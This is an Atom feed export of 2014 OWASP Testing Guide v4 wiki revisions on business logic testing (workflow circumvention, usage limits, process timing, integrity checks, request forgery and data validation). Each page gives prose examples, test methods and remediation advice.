An electronic bulletin board system may be designed to ensure that initial posts do not contain profanity based on a list that the post is compared against. If a word on a &amp;quot;black&amp;quot; the list is found in the user entered text the submission is not posted. But, once a submission is posted the submitter can access, edit, and change the submission contents to include words included on the profanity/black list since on edit the posting is never compared again. Keeping this in mind, attackers may open an initial blank or minimal discussion then add in whatever they like as an update.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
Generic Testing Method&lt;br /&gt;
&lt;br /&gt;
• Review the project documentation and use exploratory testing looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow. &lt;br /&gt;
&lt;br /&gt;
• For each method develop a misuse case and try to circumvent or perform an action that is &amp;quot;not acceptable&amp;quot; per the the business logic workflow. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Testing Method 1&lt;br /&gt;
&lt;br /&gt;
•	Start a transaction going through the application past the points that triggers credits/points to the users account.&lt;br /&gt;
&lt;br /&gt;
•	Cancel out of the transaction or reduce the final tender so that the point values should be decreased and check the points/ credit system to ensure that the proper points/credits were recorded.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Testing Method 2&lt;br /&gt;
&lt;br /&gt;
•	On a content management or bulletin board system enter and save valid initial text or values. &lt;br /&gt;
&lt;br /&gt;
•	Then try to append, edit and remove data that would leave the existing data in an invalid state or with invalid values to ensure that the user is not allowed to save the incorrect information. Some &amp;quot;invalid&amp;quot; data or information may be specific words (profanity) or specific topics (such as political issues).  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related Test Cases ==&lt;br /&gt;
&lt;br /&gt;
[[Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) | Testing Directory traversal/file include (OTG-AUTHZ-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OTG-AUTHZ-002)| Testing for bypassing authorization schema (OTG-AUTHZ-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OTG-SESS-001)| Testing for Bypassing Session Management Schema (OTG-SESS-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Test business logic data validation (OTG-BUSLOGIC-001)| Test Business Logic Data Validation (OTG-BUSLOGIC-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Ability to forge requests (OTG-BUSLOGIC-002)| Test Ability to Forge Requests (OTG-BUSLOGIC-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)| Test Integrity Checks (OTG-BUSLOGIC-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Test for Process Timing (OTG-BUSLOGIC-004)| Test for Process Timing (OTG-BUSLOGIC-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test number of times a function can be used limits (OTG-BUSLOGIC-005)| Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Test defenses against application mis-use (OTG-BUSLOGIC-007)|Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)| Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Malicious Files (OTG-BUSLOGIC-009)|Test Upload of Malicious Files (OTG-BUSLOGIC-009)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==  &lt;br /&gt;
&lt;br /&gt;
OWASP Detail Misuse Cases - https://www.owasp.org/index.php/Detail_misuse_cases&lt;br /&gt;
&lt;br /&gt;
Real-Life Example of a 'Business Logic Defect - http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581&lt;br /&gt;
&lt;br /&gt;
Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application &lt;br /&gt;
Assets and Flaws – Vulnerability Detection to Fix - http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/ and http://www.ntobjectives.com/files/Business_Logic_White_Paper.pdf&lt;br /&gt;
&lt;br /&gt;
CWE-840: Business Logic Errors - http://cwe.mitre.org/data/definitions/840.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
The application must be self-aware and have checks in place ensuring that the users complete each step in the work flow process in the correct order and prevent attackers from circumventing/skipping/or repeating any steps/processes in the workflow. Test for workflow vulnerabilities involves developing business logic abuse/misuse cases with the goal of successfully completing the business process while not completing the correct steps in the correct order.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_number_of_times_a_function_can_be_used_limits_(OTG-BUSLOGIC-005)&amp;diff=180306</id>
		<title>Test number of times a function can be used limits (OTG-BUSLOGIC-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_number_of_times_a_function_can_be_used_limits_(OTG-BUSLOGIC-005)&amp;diff=180306"/>
				<updated>2014-08-08T13:08:23Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
Many of the problems that applications are solving require limits to the number of times a function can be used or action can be executed. Applications must be “smart enough” to not allow the user to exceed their limit on the use of these functions since in many cases each time the function is used the user may gain some type of benefit that must be accounted for to properly compensate the owner. For example: an eCommerce site may only allow a users apply a discount once per transaction, or some applications may be on a subscription plan and only allow users to download three complete documents monthly.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to exercise parts of the application/functions/ or actions more than the allowable number of times.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attackers may be able to circumvent the business logic and execute a function more times than “allowable” exploiting the application for personal gain. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
Suppose an eCommerce site allows users to take advantage of any one of many discounts on their total purchase and then proceed to checkout and tendering. What happens of the attacker navigates back to the discounts page after taking and applying the one “allowable” discount? Can they take advantage of another discount? Can they take advantage of the same discount multiple times? &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to Test ==&lt;br /&gt;
&lt;br /&gt;
• Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow.   &lt;br /&gt;
&lt;br /&gt;
• For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. For example, can a user navigate back and forth through the pages multiple times executing a function that should only execute once? or can a user load and unload shopping carts allowing for additional discounts.       &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related Test Cases ==&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)| Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OTG-AUTHN-003)| Testing for Weak lock out mechanism (OTG-AUTHN-003)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==  &lt;br /&gt;
&lt;br /&gt;
InfoPath Forms Services business logic exceeded the maximum limit of operations Rule - http://mpwiki.viacode.com/default.aspx?g=posts&amp;amp;t=115678&lt;br /&gt;
&lt;br /&gt;
Gold Trading Was Temporarily Halted On The CME This Morning -&lt;br /&gt;
http://www.businessinsider.com/gold-halted-on-cme-for-stop-logic-event-2013-10&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
The application should have checks to ensure that the business logic is being followed and that if a function/action can only be executed a certain number of times, when the limit is reached the user can no longer execute the function. To prevent users from using a function over the appropriate number of times the application may use mechanisms such as cookies to keep count or through sessions not allowing users to access to execute the function additional times.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_for_Process_Timing_(OTG-BUSLOGIC-004)&amp;diff=180305</id>
		<title>Test for Process Timing (OTG-BUSLOGIC-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_for_Process_Timing_(OTG-BUSLOGIC-004)&amp;diff=180305"/>
				<updated>2014-08-08T13:07:00Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
It is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give a respond. Additionally, attackers may be able to manipulate and break designed business process flows by simply keeping active sessions open and not submitting their transactions in the &amp;quot;expected&amp;quot; time frame.    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Process timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and transaction timing that are application/system specific.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Processing timing may give/leak information on what is being done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to adjust accordingly and change behavior based on the expectation and &amp;quot;game the system&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
Example 1&lt;br /&gt;
&lt;br /&gt;
Video gambling/slot machines may take longer to process a transaction just prior to a large payout. This would allow astute gamblers to gamble minimum amounts until they see the long process time which would then prompt them to bet the maximum.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 2&lt;br /&gt;
&lt;br /&gt;
Many system log on processes ask for the user name and password. If you look closely you may be able to see that entering an invalid user name and invalid user password takes more time to return an error than entering a valid username and invalid user password. This may allow the attacker to know if they have a valid username and not need to rely on the GUI message.    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 3&lt;br /&gt;
&lt;br /&gt;
Most Arenas or travel agencies have ticketing applications that allow users to purchase tickets and reserve seats. When the user requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking out? Will the seats be released, or will no tickets be sold? Some ticket vendors now only allow users 5 minutes to complete a transaction or the transaction is invalidated. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 4&lt;br /&gt;
&lt;br /&gt;
Suppose a precious metals e-commerce site allows users to make purchases with a price quote based on market price at the time they log on. What if an attacker logs on and places an order but does not complete the transaction until later in the day only of the price of the metals goes up? Will the attacker get the initial lower price?    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
• Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time.    &lt;br /&gt;
&lt;br /&gt;
• Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing.      &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related Test Cases ==&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OTG-SESS-002)| Testing for Cookies attributes (OTG-SESS-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-007)| Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==  &lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
Develop applications with processing time in mind. If attackers could possibly gain some type of advantage from knowing the different processing times and results add extra steps or processing so that no matter the results they are provided in the same time frame. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Additionally, the application/system must have mechanism in place to not allow attackers to extend transactions over an &amp;quot;acceptable&amp;quot; amount of time. This may be done by cancelling or resetting transactions after a specified amount of time has passed like some ticket vendors are now using.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_integrity_checks_(OTG-BUSLOGIC-003)&amp;diff=180304</id>
		<title>Test integrity checks (OTG-BUSLOGIC-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_integrity_checks_(OTG-BUSLOGIC-003)&amp;diff=180304"/>
				<updated>2014-08-08T13:05:46Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
Many applications are designed to display different fields depending on the user of situation by leaving some inputs hidden. However, in many cases it is possible to submit values hidden field values to the server using a proxy. In these cases the server side controls must be smart enough to perform relational or server side edits to ensure that the proper data is allowed to the server based on user and application specific business logic.         &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Additionally, the application must not depend on non-editable controls, drop-down menus or hidden fields for business logic processing because these fields remain non-editable only in the context of the browsers. Users may be able to edit their values using proxy editor tools and try to manipulate business logic. If the application exposes values related to business rules like quantity, etc. as non-editable fields it must maintain a copy on the server side and use the same for business logic processing. Finally, aside application/system data, log systems must be secured to prevent read, writing and updating. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Business logic integrity check vulnerabilities is unique in that these misuse cases are application specific and if users are able to make changes one should only be able to write or update/edit specific artifacts at specific times per the business process logic.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, system artifacts such as logs must be “protected” from unauthorized read, writing and removal.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 1&lt;br /&gt;
&lt;br /&gt;
Imagine an ASP.NET application GUI application that only allows the admin user to change the password for other users in the system. The admin user will see the username and password fields to enter a username and password while other users will not see either field. However, if a non admin user submits information in the username and password field through a proxy they may be able to “trick” the server into believing that the request has come from an admin user and change password of other users. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 2&lt;br /&gt;
&lt;br /&gt;
Most web applications have dropdown lists making it easy for the user to quickly select their state, month of birth, etc. Suppose a Project Management application allowed users to login and depending on their privileges presented them with a drop down list of projects they have access to. What happens if an attacker finds the name of another project that they should not have access to and submits the information via a proxy. Will the application give access to the project? They should not have access even though they skipped an authorization business logic check.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 3&lt;br /&gt;
&lt;br /&gt;
Suppose the motor vehicle administration system required an employee initially verify each citizens documentation and information when they issue an identification or driver's license. At this point the business process has created data with a high level of integrity as the integrity of submitted data is checked by the application. Now suppose the application is moved to the Internet so employees can log on for full service or citizens can log on for a reduced self-service application to update certain information. At this point an attacker may be able to use an intercepting proxy to add or update data that they should not have access to and they could destroy the integrity of the data by stating that the citizen was not married but supplying data for a spouse’s name. This type of inserting or updating of unverified data destroys the data integrity and might have been prevented if the business process logic was followed. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 4&lt;br /&gt;
&lt;br /&gt;
Many systems include logging for auditing and troubleshooting purposes. But, how good/valid is the information in these logs? Can they be manipulated by attackers either intentionally or accidentially having their integrity destroyed?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
Generic Testing Method&lt;br /&gt;
&lt;br /&gt;
• Review the project documentation and use exploratory testing looking for parts of the application/system (components i.e. For example, input fields, databases or logs) that move, store or handle data/information. &lt;br /&gt;
&lt;br /&gt;
• For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to  insert, update and delete data/information and in each component.&lt;br /&gt;
&lt;br /&gt;
• Attempt to insert, update or edit delete the data/information values with invalid data/information into each component (i.e. input, database, or log) by users that .should not be allowed per the busines logic workflow.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method 1&lt;br /&gt;
&lt;br /&gt;
•	Using a proxy capture and HTTP traffic looking for hidden fields.&lt;br /&gt;
&lt;br /&gt;
•	If a hidden field is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.       &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method 2&lt;br /&gt;
&lt;br /&gt;
•	Using a proxy capture and HTTP traffic looking a place to insert information into areas of the application that are non-editable.&lt;br /&gt;
&lt;br /&gt;
•	If it is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.       &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method 3&lt;br /&gt;
&lt;br /&gt;
•       List components of the application or system that could be edited, for example logs or databases.&lt;br /&gt;
&lt;br /&gt;
•       For each component identified, try to read, edit or remove its information. For example log files should be identified and Testers should try to manipulate the data/information being collected.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related Test Cases ==&lt;br /&gt;
&lt;br /&gt;
All [[Testing for Input Validation|Input Validation]] test cases&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
• Various system/application tools such as editors and file manipulation tools. &lt;br /&gt;
&lt;br /&gt;
• ''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==  &lt;br /&gt;
&lt;br /&gt;
Implementing Referential Integrity and Shared Business Logic in a RDB - http://www.agiledata.org/essays/referentialIntegrity.html&lt;br /&gt;
&lt;br /&gt;
On Rules and Integrity Constraints in Database Systems - http://www.comp.nus.edu.sg/~lingtw/papers/IST92.teopk.pdf&lt;br /&gt;
&lt;br /&gt;
Use referential integrity to enforce basic business rules in Oracle - http://www.techrepublic.com/article/use-referential-integrity-to-enforce-basic-business-rules-in-oracle/&lt;br /&gt;
&lt;br /&gt;
Maximizing Business Logic Reuse with Reactive Logic - http://architects.dzone.com/articles/maximizing-business-logic&lt;br /&gt;
&lt;br /&gt;
Tamper Evidence Logging - http://tamperevident.cs.rice.edu/Logging.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, any component that can be edited must have mechanisms in place to prevent unintentional/intentional writing or updating.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Ability_to_forge_requests_(OTG-BUSLOGIC-002)&amp;diff=180303</id>
		<title>Test Ability to forge requests (OTG-BUSLOGIC-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Ability_to_forge_requests_(OTG-BUSLOGIC-002)&amp;diff=180303"/>
				<updated>2014-08-08T13:04:30Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
Forging requests is a method that attackers use to circumvent the front end GUI application to directly submit information for back end processing. The goal of the attacker is to send HTTP POST/GET requests through an intercepting proxy with data values that is not supported, guarded against or expected by the applications business logic. Some examples of forged requests include exploiting guessable or predictable parameters or expose “hidden” features and functionality such as enabling debugging or presenting special screens or windows that are very useful during development but may leak information or bypass the business logic.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerabilities related to the ability to forge requests is unique to each application and different from business logic data validation in that it s focus is on breaking the business logic workflow.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Applications should have logic checks in place to prevent the system from accepting  forged requests that may allow attackers the opportunity to exploit the business logic, process, or flow of the application. Request forgery is nothing new; the attacker uses an intercepting proxy to send HTTP POST/GET requests to the application. Through request forgeries attackers may be able to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a process or task has or has not taken place. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, forged requests may allow subvention of programmatic or business logic flow by invoking “hidden” features or functionality such as debugging initially used by developers and testers sometimes referred to as an ”Easter egg”. “An Easter egg is an intentional inside joke, hidden message, or feature in a work such as a computer program, movie, book, or crossword. According to game designer Warren Robinett, the term was coined at Atari by personnel who were alerted to the presence of a secret message which had been hidden by Robinett in his already widely distributed game, Adventure. The name has been said to evoke the idea of a traditional Easter egg hunt.” http://en.wikipedia.org/wiki/Easter_egg_(media)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
Example 1&lt;br /&gt;
&lt;br /&gt;
Suppose an e-commerce theater site allows users to select their ticket, apply a onetime 10% Senior discount on the entire sale, view the subtotal and tender the sale. If an attacker is able to see through a proxy that the application has a hidden field (of 1 or 0) used by the business logic to determine if a discount has been taken or not. The attacker is then able to submit the 1 or “no discount has been taken” value multiple times to take advantage of the same discount multiple times.        &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 2 &lt;br /&gt;
&lt;br /&gt;
Suppose an online video game pays out tokens for points scored for finding pirates treasure and pirates and for each level completed. These tokens can later be that can later be exchanged for prizes. Additionally each level's points have a multiplier value equal to the level. If an attacker was able to see through a proxy that the application has a hidden field used during development and testing to quickly get to the highest levels of the game they could quickly get to the highest levels and accumulate unearned points quickly.    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, if an attacker was able to see through a proxy that the application has a hidden field used during development and testing to enabled a log that indicated where other online players, or hidden treasure were in relation to the attacker, they would then be able to quickly go to these locations and score points.   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test==&lt;br /&gt;
&lt;br /&gt;
Generic Testing Method&lt;br /&gt;
&lt;br /&gt;
• Review the project documentation and use exploratory testing looking for guessable, predictable or hidden functionality of fields.&lt;br /&gt;
&lt;br /&gt;
• Once found try to insert logically valid data into the application/system allowing the user go through the application/system against the normal busineess logic workflow.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method 1&lt;br /&gt;
&lt;br /&gt;
•	Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable. &lt;br /&gt;
&lt;br /&gt;
•	If it is found that some value is guessable this value may be changed and one may gain unexpected visibility. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method 2&lt;br /&gt;
&lt;br /&gt;
•	Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated. &lt;br /&gt;
&lt;br /&gt;
•	If any are found try to guess and change these values to get a different application  response or behavior. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related Test Cases ==&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OTG-SESS-004)| Testing for Exposed Session Variables (OTG-SESS-004)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OTG-SESS-005)| Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)| Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==  &lt;br /&gt;
&lt;br /&gt;
Cross Site Request Forgery - Legitimizing Forged Requests - &lt;br /&gt;
http://fragilesecurity.blogspot.com/2012/11/cross-site-request-forgery-legitimazing.html&lt;br /&gt;
&lt;br /&gt;
Debugging features which remain present in the final game - &lt;br /&gt;
http://glitchcity.info/wiki/index.php/List_of_video_games_with_debugging_features#Debugging_features_which_remain_present_in_the_final_game&lt;br /&gt;
&lt;br /&gt;
Easter egg - http://en.wikipedia.org/wiki/Easter_egg_(media)&lt;br /&gt;
&lt;br /&gt;
Top 10 Software Easter Eggs - http://lifehacker.com/371083/top-10-software-easter-eggs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
The application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic flow, or exploiting hidden/undocumented functionality such as debugging.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_business_logic_data_validation_(OTG-BUSLOGIC-001)&amp;diff=180302</id>
		<title>Test business logic data validation (OTG-BUSLOGIC-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_business_logic_data_validation_(OTG-BUSLOGIC-001)&amp;diff=180302"/>
				<updated>2014-08-08T13:03:12Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Summary ==&lt;br /&gt;
&lt;br /&gt;
The application must ensure that only logically valid data can be entered at the front end as well as directly to the server side of an application of system. Only verifying data locally may leave applications vulnerable to server injections through proxies or at handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult and in most cases cannot be simply verified at the entry point, but usually requires checking some other system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example: An application may ask for your Social Security Number. In BVA the application should check formats and semantics (is the value 9 digits long, not negative and not all 0's) for the data entered, but there are logic considerations also. SSNs are grouped and categorized. Is this person on a death file? Are they from a certain part of the country?   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerabilities related to business data validation is unique in that they are application specific and different from the vulnerabilities related to forging requests in that they are more concerned about logical data as opposed to simply breaking the business logic workflow.   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The front end and the back end of the application should be verifying and validating that the data it has, is using and is passing along is logically valid. Even if the user provides valid data to an application the business logic may make the application behave differently depending on data or circumstances.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
Example 1&lt;br /&gt;
&lt;br /&gt;
Suppose you manage a multi-tiered e-commerce site that allows users to order carpet. The user selects their carpet, enters the size, makes the payment, and the front end application has verified that all entered information is correct and valid for contact information, size, make and color of the carpet. But, the business logic in the background has two paths, if the carpet is in stock it is directly shipped from your warehouse, but if it is out of stock in your warehouse a call is made to a partner’s system and if they have it in-stock they will ship the order from their warehouse and reimbursed by them. What happens if an attacker is able to continue a valid in-stock transaction and send it as out-of-stock to your partner? What happens if an attacker is able to get in the middle and send messages to the partner warehouse ordering carpet without payment?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 2&lt;br /&gt;
&lt;br /&gt;
Many credit card systems are now downloading account balances nightly so the customers can check out more quickly for amounts under a certain value. The inverse is also true. If I pay my credit card off in the morning I may not be able to use the available credit in the evening. Another example may be if I use my credit card at multiple locations very quickly it may be possible to exceed my limit if the systems are basing decisions on last night’s data.   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
Generic Test Method&lt;br /&gt;
&lt;br /&gt;
• Review the project documentation and use exploratory testing looking for data entry points or hand off points between systems or software.&lt;br /&gt;
&lt;br /&gt;
• Once found try to insert logically invalid data into the application/system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method:&lt;br /&gt;
&lt;br /&gt;
•	Perform front-end GUI Functional Valid testing on the application to ensure that the only &amp;quot;valid&amp;quot; values are accepted.&lt;br /&gt;
&lt;br /&gt;
•	Using an intercepting proxy observe the HTTP POST/GET looking for places that variables such as cost and quality are passed. Specifically, look for &amp;quot;hand-offs&amp;quot; between application/systems that may be possible injection of tamper points.&lt;br /&gt;
  &lt;br /&gt;
•	Once variables are found start interrogating the field with logically &amp;quot;invalid&amp;quot; data, such as social security numbers or unique identifiers that do not exist or that do not fit the business logic. This testing verifies that the server functions properly and does not accept logically invalid data them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related Test Cases ==&lt;br /&gt;
&lt;br /&gt;
All [[Testing for Input Validation|Input Validation]] test cases&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OTG-SESS-001)|Testing for Bypassing Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
